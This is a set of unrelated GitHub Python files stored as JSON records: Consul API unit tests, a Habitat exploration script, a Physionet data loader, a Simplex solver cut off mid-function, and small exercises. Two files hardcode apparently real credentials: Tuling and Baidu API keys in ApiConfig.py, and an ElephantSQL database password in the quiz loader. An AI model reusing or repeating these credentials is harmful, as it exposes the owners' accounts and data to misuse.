\"198.18.0.53\", \"port\": 80},\n },\n \"Meta\": None,\n \"Port\": 80,\n \"EnableTagOverride\": False,\n \"Connect\": {\"Native\": False, \"Proxy\": None},\n \"CreateIndex\": 0,\n \"ModifyIndex\": 0,\n }\n ],\n }\n\n\ndef service_payload_response():\n return {\n \"Kind\": \"connect-proxy\",\n \"ID\": \"web-sidecar-proxy\",\n \"Service\": \"web-sidecar-proxy\",\n \"Tags\": None,\n \"Meta\": None,\n \"Port\": 18080,\n \"Address\": \"\",\n \"TaggedAddresses\": {\n \"lan\": {\"address\": \"127.0.0.1\", \"port\": 8000},\n \"wan\": {\"address\": \"198.18.0.53\", \"port\": 80},\n },\n \"Weights\": {\"Passing\": 1, \"Warning\": 1},\n \"EnableTagOverride\": False,\n \"ContentHash\": \"4ecd29c7bc647ca8\",\n \"Proxy\": {\n \"DestinationServiceName\": \"web\",\n \"DestinationServiceID\": \"web\",\n \"LocalServiceAddress\": \"127.0.0.1\",\n \"LocalServicePort\": 8080,\n \"Config\": {\"foo\": \"bar\"},\n \"Upstreams\": [\n {\n \"DestinationType\": \"service\",\n \"DestinationName\": \"db\",\n \"LocalBindPort\": 9191,\n }\n ],\n },\n }\n\n\ndef status_response():\n return {\n \"passing\": {\n \"ID\": \"web1\",\n \"Service\": \"web\",\n \"Tags\": [\"rails\"],\n \"Address\": \"\",\n \"TaggedAddresses\": {\n \"lan\": {\"address\": \"127.0.0.1\", \"port\": 8000},\n \"wan\": {\"address\": \"198.18.0.53\", \"port\": 80},\n },\n \"Meta\": None,\n \"Port\": 80,\n \"EnableTagOverride\": False,\n \"Connect\": {\"Native\": False, \"Proxy\": None},\n \"CreateIndex\": 0,\n \"ModifyIndex\": 0,\n }\n }\n\n\n@pytest.fixture\nasync def service(consul_api):\n return api.Service(client=consul_api)\n\n\n@pytest.mark.parametrize(\"expected\", [list_services_response()])\nasync def test_list(service, expected):\n service.client.expected = expected\n response = await service.list()\n assert response == list_services_response()\n\n\nasync def test_register(service, mocker):\n spy = mocker.spy(service.client, \"put\")\n await service.register(register_payload())\n spy.assert_called_with(\n \"/v1/agent/service/register\",\n json={\n \"ID\": \"redis1\",\n \"Name\": \"redis\",\n \"Tags\": [\"primary\", \"v1\"],\n \"Address\": \"127.0.0.1\",\n \"Port\": 8000,\n \"Meta\": {\"redis_version\": \"4.0\"},\n \"EnableTagOverride\": False,\n \"Check\": {\n \"DeregisterCriticalServiceAfter\": \"90m\",\n \"Args\": [\"/usr/local/bin/check_redis.py\"],\n \"Interval\": \"10s\",\n \"Timeout\": \"5s\",\n },\n \"Weights\": {\"Passing\": 10, \"Warning\": 1},\n },\n )\n\n\nasync def test_deregister(service, mocker):\n spy = mocker.spy(service.client, \"put\")\n await service.deregister(\"my-service-id\")\n spy.assert_called_with(\n \"/v1/agent/service/deregister/my-service-id\",\n )\n\n\n@pytest.mark.parametrize(\n \"reason, expected\",\n [\n (None, \"/v1/agent/service/maintenance/my-service-id?enable=True\"),\n (\n \"For the tests\",\n \"/v1/agent/service/maintenance/my-service-id?enable=True&reason=For+the+tests\",\n ),\n ],\n)\nasync def test_enable_maintenance(reason, expected, service, mocker):\n spy = mocker.spy(service.client, \"put\")\n await service.enable_maintenance(\"my-service-id\", True, reason)\n spy.assert_called_with(expected)\n\n\n@pytest.mark.parametrize(\"expected\", [service_payload_response()])\nasync def test_configuration(service, expected):\n service.client.expected = expected\n response = await service.configuration(\"web-sidecar-proxy\")\n assert response == service_payload_response()\n\n\n@pytest.mark.parametrize(\"expected\", [service_health_name_response()])\nasync def test_health_by_name(service, expected):\n service.client.expected = expected\n response = await service.health_by_name(\"web\")\n assert response == service_health_name_response()\n\n\n@pytest.mark.parametrize(\"expected\", [service_health_id_response()])\nasync def test_health_by_id(service, expected):\n service.client.expected = expected\n response = await service.health_by_id(\"web1\")\n assert response == service_health_id_response()\n","repo_name":"amenezes/discovery-client","sub_path":"tests/unit/api/test_service.py","file_name":"test_service.py","file_ext":"py","file_size_in_byte":7105,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"34"} +{"seq_id":"20619463980","text":"# -*- coding: utf-8 -*-\r\n'''\r\nCreated on 2016年9月4日\r\n\r\n@author: NowImSleepy\r\n'''\r\nclass ApiConf():\r\n def Tuling(self):\r\n Tuling={\"url\":\"http://www.tuling123.com/openapi/api\",\r\n \"key\":\"d5f3fdfaccb93969a630f4e46751fde9\",\r\n \"userid\":\"123456\"}\r\n return Tuling\r\n def BaiduRest(self):\r\n BaiduRest={\"url\":\"https://openapi.baidu.com/oauth/2.0/token\",\r\n \"grant_type\":\"client_credentials\",\r\n \"client_id\":\"72n3GYlVpc1n4du35GYOrT4X\",\r\n \"client_secret\":\"3b83be694855a70b46590f18d17aec41\"}\r\n return BaiduRest","repo_name":"PulsarTao/Python-MagicMirror","sub_path":"Config/ApiConfig.py","file_name":"ApiConfig.py","file_ext":"py","file_size_in_byte":633,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"39437173374","text":"import numpy as np\nimport numpy.linalg as LA\nimport cv2\nimport matplotlib\nimport matplotlib.pyplot as plt\nimport math\nfrom math import cos, sin, acos, atan2, pi, floor, degrees\nimport random\nfrom modeling.utils.navigation_utils import change_brightness, SimpleRLEnv, get_obs_and_pose\nfrom modeling.utils.baseline_utils import apply_color_to_map, pose_to_coords, gen_arrow_head_marker, read_map_npy, read_occ_map_npy, plus_theta_fn\nfrom modeling.utils.map_utils_occ_from_semmap import SemanticMap\nfrom modeling.localNavigator_Astar import localNav_Astar\nimport habitat\nimport habitat_sim\nfrom habitat.tasks.utils import cartesian_to_polar, quaternion_rotate_vector\nimport random\nfrom core import cfg\nimport modeling.utils.frontier_utils as fr_utils\nfrom timeit import default_timer as timer\n\nsplit = 'test' #'test' #'train'\nenv_scene = 'yqstnuAEVhm' #'17DRP5sb8fy' #'yqstnuAEVhm'\nfloor_id = 0\nscene_name = 'yqstnuAEVhm_0' #'17DRP5sb8fy_0' #'yqstnuAEVhm_0'\n\nscene_floor_dict = np.load(f'{cfg.GENERAL.SCENE_HEIGHTS_DICT_PATH}/{split}_scene_floor_dict.npy', allow_pickle=True).item()\n\ncfg.merge_from_file('configs/exp_360degree_Greedy_Potential_600STEPS.yaml')\ncfg.freeze()\n\n#================================ load habitat env============================================\nconfig = habitat.get_config(config_paths=cfg.GENERAL.DATALOADER_CONFIG_PATH)\nconfig.defrost()\nif split == 'train':\n\tconfig.DATASET.DATA_PATH = cfg.GENERAL.HABITAT_TRAIN_EPISODE_DATA_PATH\nelif split == 'test':\n\tconfig.DATASET.DATA_PATH = cfg.GENERAL.HABITAT_TEST_EPISODE_DATA_PATH\nconfig.DATASET.SCENES_DIR = cfg.GENERAL.HABITAT_SCENE_DATA_PATH\nconfig.freeze()\n\nenv = SimpleRLEnv(config=config)\n\nscene_height = scene_floor_dict[env_scene][floor_id]['y']\nstart_pose = (0.03828, -8.55946, 0.2964) #(-0.35, -0.85, 0.2964) #(0.03828, -8.55946, 0.2964)\nsaved_folder = f'output/TESTING_RESULTS_Frontier'\n\n#============================ get scene ins to cat dict\nscene = env.habitat_env.sim.semantic_annotations()\nins2cat_dict = {int(obj.id.split(\"_\")[-1]): obj.category.index() for obj in scene.objects}\n\n#=================================== start original navigation code ========================\nnp.random.seed(cfg.GENERAL.RANDOM_SEED)\nrandom.seed(cfg.GENERAL.RANDOM_SEED)\n\nif cfg.NAVI.FLAG_GT_OCC_MAP:\n\tocc_map_npy = np.load(f'{cfg.SAVE.OCCUPANCY_MAP_PATH}/{split}/{scene_name}/BEV_occupancy_map.npy', allow_pickle=True).item()\ngt_occ_map, pose_range, coords_range, WH = read_occ_map_npy(occ_map_npy)\nH, W = gt_occ_map.shape[:2]\n\nLN = localNav_Astar(pose_range, coords_range, WH, scene_name)\n\nsemMap_module = SemanticMap(split, scene_name, pose_range, coords_range, WH, ins2cat_dict) # build the observed sem map\ntraverse_lst = []\n\n#===================================== setup the start location ===============================#\n\nagent_pos = np.array([start_pose[0], scene_height, start_pose[1]]) # (6.6, -6.9), (3.6, -4.5)\n# check if the start point is navigable\nif not env.habitat_env.sim.is_navigable(agent_pos):\n\tprint(f'start pose is not navigable ...')\n\tassert 1==2\n\nif cfg.NAVI.HFOV == 90:\n\tobs_list, pose_list = [], []\n\theading_angle = start_pose[2]\n\tobs, pose = get_obs_and_pose(env, agent_pos, heading_angle)\n\tobs_list.append(obs)\n\tpose_list.append(pose)\nelif cfg.NAVI.HFOV == 360:\n\tobs_list, pose_list = [], []\n\tfor rot in [90, 180, 270, 0]:\n\t\theading_angle = rot / 180 * np.pi\n\t\theading_angle = plus_theta_fn(heading_angle, start_pose[2])\n\t\tobs, pose = get_obs_and_pose(env, agent_pos, heading_angle)\n\t\tobs_list.append(obs)\n\t\tpose_list.append(pose)\n\nstep = 0\nsubgoal_coords = None\nsubgoal_pose = None \nMODE_FIND_SUBGOAL = True\nexplore_steps = 0\nMODE_FIND_GOAL = False\nvisited_frontier = set()\nchosen_frontier = None\n\nwhile step < cfg.NAVI.NUM_STEPS:\n\tprint(f'step = {step}')\n\n\t#=============================== get agent global pose on habitat env ========================#\n\tpose = pose_list[-1]\n\tprint(f'agent position = {pose[:2]}, angle = {pose[2]}')\n\tagent_map_pose = (pose[0], -pose[1], -pose[2])\n\ttraverse_lst.append(agent_map_pose)\n\n\t# add the observed area\n\tt0 = timer()\n\tsemMap_module.build_semantic_map(obs_list, pose_list, step=step, saved_folder=saved_folder)\n\tt1 = timer()\n\tprint(f'build map time = {t1 - t0}')\n\n\tif MODE_FIND_SUBGOAL:\n\t\tt1 = timer()\n\t\tobserved_occupancy_map, gt_occupancy_map, observed_area_flag, built_semantic_map = semMap_module.get_observed_occupancy_map(agent_map_pose)\n\t\tt2 = timer()\n\t\tprint(f't2- t1 = {t2 - t1}')\n\t\t#improved_observed_occupancy_map = fr_utils.remove_isolated_points(observed_occupancy_map)\n\t\tt3 = timer()\n\t\tprint(f't3- t2 = {t3 - t2}')\n\t\tfrontiers = fr_utils.get_frontiers(observed_occupancy_map, gt_occupancy_map, observed_area_flag, built_semantic_map)\n\t\tfrontiers = frontiers - visited_frontier\n\t\tt4 = timer()\n\t\tprint(f't4- t3 = {t4 - t3}')\n\t\tfrontiers = LN.filter_unreachable_frontiers(frontiers, agent_map_pose, observed_occupancy_map)\n\t\tt5 = timer()\n\t\tprint(f't5- t4 = {t5 - t4}')\n\t\tif cfg.NAVI.STRATEGY == 'Greedy':\n\t\t\tchosen_frontier = fr_utils.get_frontier_with_maximum_area(frontiers, gt_occupancy_map)\n\t\telif cfg.NAVI.STRATEGY == 'DP':\n\t\t\ttop_frontiers = fr_utils.select_top_frontiers(frontiers, top_n=5)\n\t\t\tchosen_frontier = fr_utils.get_frontier_with_DP(top_frontiers, agent_map_pose, observed_occupancy_map, \\\n\t\t\t\tcfg.NAVI.NUM_STEPS-step, LN)\n\t\tt6 = timer()\n\t\tprint(f't6- t5 = {t6 - t5}')\n\t\t#============================================= visualize semantic map ===========================================#\n\t\tif True:\n\t\t\t#==================================== visualize the path on the map ==============================\n\t\t\t#built_semantic_map, observed_area_flag, _ = semMap_module.get_semantic_map()\n\n\t\t\tcolor_built_semantic_map = apply_color_to_map(built_semantic_map, flag_small_categories=True)\n\t\t\t#color_built_semantic_map = change_brightness(color_built_semantic_map, observed_area_flag, value=60)\n\n\t\t\t#=================================== visualize the agent pose as red nodes =======================\n\t\t\tx_coord_lst, z_coord_lst, theta_lst = [], [], []\n\t\t\tfor cur_pose in traverse_lst:\n\t\t\t\tx_coord, z_coord = pose_to_coords((cur_pose[0], cur_pose[1]), pose_range, coords_range, WH)\n\t\t\t\tx_coord_lst.append(x_coord)\n\t\t\t\tz_coord_lst.append(z_coord)\t\t\t\n\t\t\t\ttheta_lst.append(cur_pose[2])\n\n\t\t\t#'''\n\t\t\tfig, ax = plt.subplots(nrows=1, ncols=2, figsize=(20, 10))\n\t\t\tax[0].imshow(observed_occupancy_map, cmap='gray')\n\t\t\tmarker, scale = gen_arrow_head_marker(theta_lst[-1])\n\t\t\tax[0].scatter(x_coord_lst[-1], z_coord_lst[-1], marker=marker, s=(30*scale)**2, c='red', zorder=5)\n\t\t\tax[0].plot(x_coord_lst, z_coord_lst, lw=5, c='blue', zorder=3)\n\t\t\tfor f in frontiers:\n\t\t\t\tax[0].scatter(f.points[1], f.points[0], c='yellow', zorder=2)\n\t\t\t\tax[0].scatter(f.centroid[1], f.centroid[0], c='red', zorder=2)\n\t\t\tif chosen_frontier is not None:\n\t\t\t\tax[0].scatter(chosen_frontier.points[1], chosen_frontier.points[0], c='green', zorder=4)\n\t\t\t\tax[0].scatter(chosen_frontier.centroid[1], chosen_frontier.centroid[0], c='red', zorder=4)\n\t\t\tax[0].get_xaxis().set_visible(False)\n\t\t\tax[0].get_yaxis().set_visible(False)\n\t\t\t#ax.set_title('improved observed_occ_map + frontiers')\n\n\t\t\tax[1].imshow(color_built_semantic_map)\n\t\t\tax[1].get_xaxis().set_visible(False)\n\t\t\tax[1].get_yaxis().set_visible(False)\n\n\t\t\tfig.tight_layout()\n\t\t\tplt.title('observed area')\n\t\t\tplt.show()\n\t\t\t#fig.savefig(f'{saved_folder}/step_{step}_semmap.jpg')\n\t\t\t#plt.close()\n\t\t\t#assert 1==2\n\t\t\t#'''\n\n\t#===================================== check if exploration is done ========================\n\tif chosen_frontier is None:\n\t\tprint('There are no more frontiers to explore. Stop navigation.')\n\t\tbreak\n\n\t#==================================== update particle filter =============================\n\tif MODE_FIND_SUBGOAL:\n\t\tMODE_FIND_SUBGOAL = False\n\t\texplore_steps = 0\n\t\tt7 = timer()\n\t\tflag_plan, subgoal_coords, subgoal_pose = LN.plan_to_reach_frontier(chosen_frontier, agent_map_pose, observed_occupancy_map, step, saved_folder)\n\t\tt8 = timer()\n\t\tprint(f't8 - t7 = {t8 - t7}')\n\t\tif not flag_plan:\n\t\t\tprint(f'local planning reach the frontier failed.')\n\t\t\tassert 1==2\n\t\tprint(f'subgoal_coords = {subgoal_coords}')\n\t\t\n\t#====================================== take next action ================================\n\taction, next_pose = LN.next_action(env, scene_height)\n\tprint(f'action = {action}')\n\tif action == \"collision\":\n\t\tstep += 1\n\t\texplore_steps += 1\n\t\t#assert next_pose is None\n\t\t# input next_pose is environment pose, not sem_map pose\n\t\tsemMap_module.add_occupied_cell_pose(next_pose)\n\t\t# redo the planning\n\t\tprint(f'redo planning')\n\t\tobserved_occupancy_map, gt_occupancy_map, observed_area_flag, _ = semMap_module.get_observed_occupancy_map(agent_map_pose)\n\t\t'''\n\t\tfig, ax = plt.subplots(nrows=1, ncols=1, figsize=(100, 100))\n\t\tax.imshow(occupancy_map, vmax=5)\n\t\tax.get_xaxis().set_visible(False)\n\t\tax.get_yaxis().set_visible(False)\n\t\tplt.title('collision occupancy_map')\n\t\tplt.show()\n\t\t'''\n\t\t\n\t\tflag_plan, subgoal_coords, subgoal_pose = LN.plan_to_reach_frontier(chosen_frontier, agent_map_pose, observed_occupancy_map, step, saved_folder)\n\n\t\t# do not take any actions\n\telif action == \"\": # finished navigating to the subgoal\n\t\tprint(f'reached the subgoal')\n\t\tMODE_FIND_SUBGOAL = True\n\t\tvisited_frontier.add(chosen_frontier)\n\telse:\n\t\tstep += 1\n\t\texplore_steps += 1\n\t\tprint(f'next_pose = {next_pose}')\n\t\tagent_pos = np.array([next_pose[0], scene_height, next_pose[1]])\n\t\t# output rot is negative of the input angle\n\t\tif cfg.NAVI.HFOV == 90:\n\t\t\tobs_list, pose_list = [], []\n\t\t\theading_angle = -next_pose[2]\n\t\t\tobs, pose = get_obs_and_pose(env, agent_pos, heading_angle)\n\t\t\tobs_list.append(obs)\n\t\t\tpose_list.append(pose)\n\t\telif cfg.NAVI.HFOV == 360:\n\t\t\tobs_list, pose_list = [], []\n\t\t\tfor rot in [90, 180, 270, 0]:\n\t\t\t\theading_angle = rot / 180 * np.pi\n\t\t\t\theading_angle = plus_theta_fn(heading_angle, -next_pose[2])\n\t\t\t\tobs, pose = get_obs_and_pose(env, agent_pos, heading_angle)\n\t\t\t\tobs_list.append(obs)\n\t\t\t\tpose_list.append(pose)\n\n\tif explore_steps == cfg.NAVI.NUM_STEPS_EXPLORE:\n\t\texplore_steps = 0\n\t\tMODE_FIND_SUBGOAL = True\n\n","repo_name":"yimengli46/bellman-exploration","sub_path":"archive/frontier_explore_test.py","file_name":"frontier_explore_test.py","file_ext":"py","file_size_in_byte":10009,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"34"} +{"seq_id":"23933783390","text":"# Returns the sum of series\ndef sumOfSeries(n):\n sum = 0\n for i in range(1, n + 1):\n sum += i * i\n\n return sum\n\n#calling method in two ways with main and without main\n\n# 1 Method\nn = 5\nprint(sumOfSeries(n))\n\n# 2 Method\nif __name__=='__main__':\n sum=sumOfSeries(6)\n print(sum)\n","repo_name":"swathiNagubandi/Python_Practice","sub_path":"sum_of_squares.py","file_name":"sum_of_squares.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"1130058900","text":"from django.urls import path\r\nfrom . import views\r\n\r\napp_name=\"users\"\r\nurlpatterns = [\r\n \tpath('register/', views.register, name='register'), \r\n path('profile/', views.profile, name='profile'),\r\n path('edit_profile/', views.edit_profile, name='edit_profile'),\r\n path('activate_profile/', views.activate_profile, name='activate_profile')\r\n]\r\n\r\n","repo_name":"Senyapykpyk/dietsonline","sub_path":"users/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"70646094498","text":"import pandas as pd\nimport psycopg2\n\n# Connect to your PostgreSQL database\nconn = psycopg2.connect(\n database=\"yegbvjgn\",\n user=\"yegbvjgn\",\n password=\"PN21zQ63wQE-q6NNHmvFis87kem2hEg7\",\n host=\"rain.db.elephantsql.com\",\n port=\"5432\"\n)\n\n# Create a cursor object\ncur = conn.cursor()\n\n\ndf = pd.read_csv('scripts/final.csv')\nprint(df)\n\nhelperDict ={\n 'A': 0,\n 'B': 1,\n 'C': 2,\n 'D': 3\n}\n\n# Iterate through each row and insert into the database\nfor index, row in (df.iterrows()):\n question_text = row['question_text']\n options = [row['option_a'], row['option_b'], row['option_c'], row['option_d']]\n correct_option = options[helperDict[(row['answer'])]]\n print(options, correct_option)\n\n # Insert question into QuestionsInfo table\n # cur.execute(\n # \"INSERT INTO QuestionsInfo (question_text, category_id, is_training) VALUES (%s, %s, %s) RETURNING question_id\",\n # (question_text, 1, True) # Assuming category_id for questions is 1 and they are for training\n # )\n # question_id = cur.fetchone()[0]\n\n # Insert options into OptionsInfo table\n for i, option_text in enumerate(options):\n is_correct = correct_option == option_text # Convert ASCII value to character (A, B, C, D)\n print(option_text, is_correct)\n # cur.execute(\n # \"INSERT INTO OptionsInfo (question_id, option_text, is_correct) VALUES (%s, %s, %s)\",\n # (question_id, option_text, is_correct)\n # )\n\n# Commit the changes\nconn.commit()\n\n# Close the cursor and connection\ncur.close()\nconn.close()","repo_name":"CoderLovely08/AI-Quiz-App","sub_path":"scripts/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"5149860404","text":"# NIM/Nama\t: 16518332/Dhafin Rayhan Ahmad\n# Tanggal\t: 3 Oktober 2018\n# Deskripsi\t: Mentranslasi suatu bilangan heksadesimal 1 digit ke bilangan desimal\n\n# FUNGSI\ndef HtoD(x): # fungsi yang akan mengembalikan nilai translasi suatu bilangan heksadesimal 1 digit (x) ke bilangan desimal\n\tif x == \"A\":\n\t\treturn 10\n\telif x == \"B\":\n\t\treturn 11\n\telif x == \"C\":\n\t\treturn 12\n\telif x == \"D\":\n\t\treturn 13\n\telif x == \"E\":\n\t\treturn 14\n\telif x == \"F\":\n\t\treturn 15\n\telse: # jika x adalah \"0\"-\"9\"\n\t\treturn int(x) # nilainya sama\n\t\t\n# INPUT\nh = input(\"Masukkan karakter heksadesimal: \")\n\n# OUTPUT\nprint(\"Representasi desimalnya \" + str(HtoD(h)))\n","repo_name":"dhafinrayhan/PTI","sub_path":"P03-16518332/P03-16518332-01.py","file_name":"P03-16518332-01.py","file_ext":"py","file_size_in_byte":629,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"35179441503","text":"\"\"\"\nPysionet2018_LSTM_DataLoading\n@description: A Class with function to read Physionet 2018 Challenge Dataset\n@author: Enrico Sanna - Unimarconi\n@project: hhttps://github.com/esanna-unimarconi/TensorflowSignalProcessing/\n@create-date:18/04/2018\n\"\"\"\nimport os\nimport numpy as np\n# library to read Matlab v4 Files\n# http://wfdb.readthedocs.io/en/latest/wfdb.html\nimport wfdb\n# library to easy manipulate Matlab v7.3 Files (HDF5), base on h5py.\n# https://github.com/frejanordsiek/hdf5storage\nimport hdf5storage\n\n\nclass Pysionet2018_LSTM_DataLoading:\n currentSignalRecord = []\n currentArousalRecord = []\n def __init__(self, baseDirName=\"M:\\\\\", currentDirName=\"none\"):\n self.baseDirName = baseDirName\n self.currentDirName = currentDirName\n self.sample_from = 0\n if (currentDirName == \"none\"): self.next_record_directory()\n self.resetSampleFrom()\n\n def resetSampleFrom(self):\n self.sample_from = 0\n self.currentSignalRecord = []\n self.currentArousalRecord = []\n\n def getCurrentDirName(self):\n return self.currentDirName\n\n def getSampleFrom(self):\n return self.sample_from\n\n '''\n change attribute state with next record on the dataset\n '''\n\n def next_record_directory(self):\n training_directory = str(self.baseDirName + \"training/\")\n trovata = 0\n for dirs in os.listdir(training_directory):\n if (not self.currentDirName.startswith(\"tr\")):\n if (dirs.startswith(\"tr\")):\n self.currentDirName = dirs\n # print(\"imposto directory \" + dirs)\n break\n # else: print(\"scarto directory \"+dirs)\n else:\n if (trovata == 1):\n self.currentDirName = dirs\n self.resetSampleFrom()\n # print(\"imposto directory \" + dirs)\n break\n else:\n if (self.currentDirName == dirs and trovata == 0): trovata = 1\n print(\"Cambio record file: \" + training_directory + \"/\" + self.currentDirName)\n self.currentSignalRecord = []\n self.currentArousalRecord = []\n return self.currentDirName\n\n '''\n test function for print arousal vector\n '''\n\n def printArousalFile(self, filename, sample_from, signals_max_size=0, depth=10):\n arousalDataRecord = hdf5storage.loadmat(filename + '-arousal.mat')\n arousalArray = arousalDataRecord[\"data\"][0][0][0][0]\n arousalDataRecord = hdf5storage.loadmat(filename + '-arousal.mat')\n arousalArray = arousalDataRecord[\"data\"][0][0][0][0]\n # print(\"Arousal File \" + str(filename) + \" total size: \" + str(arousalArray.size))\n signals_size = arousalArray.size\n # limit Array to requested size\n if (signals_max_size != 0): signals_size = min(signals_size, signals_max_size)\n # I discard firsts depth size\n arousalArray = arousalArray[sample_from + depth:sample_from + signals_size]\n # print(\"Arousal File \" + str(filename) + \" sample size: \" + str(signals_size))\n arousalLabels = np.zeros((signals_size - depth, 3))\n i = 0\n for element in arousalArray:\n if element == 0: arousalLabels[i, 0] = 1; print(\"ciclo \" + str(i) + \" messo a zero\");\n if element == 1: arousalLabels[i, 1] = 1\n if element == -1: arousalLabels[i, 2] = 1;print(\"ciclo \" + str(i) + \" messo a - uno\")\n i = i + 1\n\n '''\n extra signal from file and return signals,fields\n signals is a multi-array with signals\n fields is a dict with field names and unit of measurement\n '''\n\n def extractSignal(self, filename, sample_from, signals_max_size=0, depth=10):\n \"\"\"\n To extract signals from training dataset\n @filename: filepath of the subject\n \"\"\"\n if(self.currentArousalRecord == []):\n # reading arousal datafile, goal of the challenge\n self.currentArousalRecord = hdf5storage.loadmat(filename + '-arousal.mat')\n print(\"Leggo da disco \"+filename+ '-arousal.mat')\n arousalArray = self.currentArousalRecord[\"data\"][0][0][0][0]\n # print(\"Arousal File \" + str(filename) + \" total size: \" + str(arousalArray.size))\n signals_size = arousalArray.size\n signals_size2= signals_size\n # limit Array to requested size\n if (signals_max_size != 0): signals_size = min(signals_size, signals_max_size)\n # I discard firsts depth size\n arousalArray = arousalArray[sample_from + depth:sample_from + signals_size]\n #print(\"Arousal File \" + str(filename) + \" sample size: \" + str(signals_size))\n\n arousalLabels = np.zeros((signals_size - depth, 3))\n i = 0\n for element in arousalArray:\n if element == 0: arousalLabels[i, 0] = 1; # print(\"messo a zero\")\n if element == 1: arousalLabels[i, 1] = 1\n if element == -1: arousalLabels[i, 2] = 1; # print(\"messo a - uno\")\n i = i + 1\n # sampling a file from training dataset\n # ['F3-M2', 'F4-M1', 'C3-M2', 'C4-M1', 'O1-M2', 'O2-M1', 'E1-M2', 'Chin1-Chin2', 'ABD', 'CHEST', 'AIRFLOW', 'SaO2', 'ECG']\n # (channel 12 = ECG)\n if(self.currentSignalRecord == []):\n # signals, fields = wfdb.rdsamp(filename, sampfrom=sample_from, sampto=sample_from + signals_size,\n # channels=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12])\n print(\"Leggo da disco \"+filename)\n signals, fields = wfdb.rdsamp(filename, sampfrom=0, sampto=0 + signals_size2,channels=[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12])\n self.currentSignalRecord=signals\n #print(\"Signal Fields \" + str(fields))\n signals=self.currentSignalRecord[sample_from:sample_from + signals_size]\n return signals, arousalLabels, signals_size2\n\n '''\n function to extract next batch-size dimension list o arrays\n '''\n\n def train_next_batch(self, batch_size, depth):\n filename = self.baseDirName + \"training/\" + self.currentDirName + \"/\" + self.currentDirName\n # self.printArousalFile( filename, self.sample_from, 4000000, 10)\n # exit(0)\n signals, arousalLabels, signals_size = self.extractSignal(filename, self.sample_from, batch_size, depth)\n # per ora campiono solo i primi 4 milioni di valori per record\n # print(\"Sample from: \"+str(self.sample_from))\n # if self.sample_from > 4000000:\n if self.sample_from + (2*batch_size) > signals_size:\n self.next_record_directory()\n else:\n self.sample_from = self.sample_from + batch_size\n\n # signals = np.zeros(depth,13)\n # arousalLabels = np.zeros(depth, 1)\n return signals, arousalLabels\n\n\n'''\nunit test of the class\n'''\n# loader = Pysionet2018_LSTM_DataLoading(currentDirName=\"tr03-0029\")\n# directory = loader.next_record_directory()\n# print(\"Nuovo Record: \"+str(directory))","repo_name":"esanna-unimarconi/TensorflowSignalProcessing","sub_path":"Physionet2018_LSTM_DataLoading.py","file_name":"Physionet2018_LSTM_DataLoading.py","file_ext":"py","file_size_in_byte":7044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"34"} +{"seq_id":"1959221900","text":"import re\nimport string\nimport sys\nclass Simplex:\n pivot_column_index = 0\n inserted = 0\n coefficients = []\n def __init__(self, fo: str, objective):\n self.table = []\n self.coefficients = re.findall(\"[a-z]\", fo)\n row = list(map(lambda x: x * (-1), self.convert_expr(fo)))\n self.fo = [1] + row\n self.column_b = [0]\n if objective == 'MAX':\n self.objective = 0\n elif objective == 'MIN':\n self.objective = 1\n else:\n raise ValueError(\"Apenas MAX e MIN para objetivo!\")\n self.variables = list(string.ascii_lowercase)\n # Utilitários para a aplicação\n def is_valid_coefficients(self, expr: str):#Verifica se existem variaveis repetidos\n expr = expr.replace(\" \", \"\")\n coefficients = re.findall(\"[a-z]\", expr)\n data = re.split(\"\\\\+|\\\\-|<=\", expr)\n is_duplicated = lambda x: len(x) != len(set(x))\n if is_duplicated(coefficients):\n raise TypeError(\"Existem variaveis repetidas na expressão informada\")\n return True\n def convert_expr(self, expr: str):#Converte a expressão em um padrão calculável pelo algoritmo\n if self.is_valid_coefficients(expr):\n expr = expr.replace(\" \", \"\")\n coefficients = re.findall(\"[a-z]\", expr)\n if coefficients != sorted(coefficients):\n raise ValueError(\"Utilize variáveis em ordem alfabetica!\")\n #pattern = \">=|\\\\+|\\\\-|<=\"\n \n pattern = \">=|\\\\+|<=\"\n \n separated_data = re.split(pattern, expr)\n values = []\n for coefficient in self.coefficients:\n contains = False\n for var in separated_data:\n if coefficient in var:\n value = re.findall(r\"-?\\d+\", var)\n if len(value) > 0:\n values.append(value[0])\n else:\n values.append(1)\n contains = True\n if not contains:\n values.append(0)\n return list(map(int, values))\n def normalize_table(self):\n \"\"\" Configura as variáveis para cada linha na tabela \"\"\"\n self.table.insert(0, self.fo)\n normal_size = len(self.fo)\n for row in self.table:\n if len(row) < normal_size:\n addition = normal_size - len(row)\n for i in range(addition):\n row.append(0)\n self.table = list(map(lambda x, y: x + [y], self.table, self.column_b))\n def add_constraints(self, expr: str):\n \"\"\" Adiciona restrição \"\"\"\n delimiter = \"<=\"\n default_format = True\n if not self.simplex_standard(expr):\n raise ValueError(\"Simplex Duas Fases não implementado!\")\n expr_list = expr.split(delimiter)\n sa = [0] + self.convert_expr(expr_list[0])\n if not default_format:\n self.fo = self.fo + [0]\n sa = self.insert_slack_var(sa, default_format)\n self.column_b.append(int(expr_list[1]))\n self.table.append(sa)\n def insert_slack_var(self, row: list, default_format=True):\n \"\"\" Insere variável de folga na restrição \"\"\"\n self.fo.append(0)\n if len(self.table) == 0:\n row.append(1)\n self.inserted += 1\n return row\n loop = len(self.table[self.inserted - 1]) - len(row)\n for i in range(loop):\n row.append(0)\n if not default_format:\n row = row + [-1, 1]\n else:\n row.append(1)\n self.inserted += 1\n return row\n def simplex_standard(self, sa: str):#Verifica se a restrição está no padrão do simplex\n return \"<=\" in sa and self.objective == 0\n def is_optimal(self):#Verifica se existe valores negativos na primeira linha da tabela\n ocurrence = list(filter(lambda x: x < 0, self.table[0]))\n return False if len(ocurrence) > 0 else True\n def get_entry_column(self):#Define o 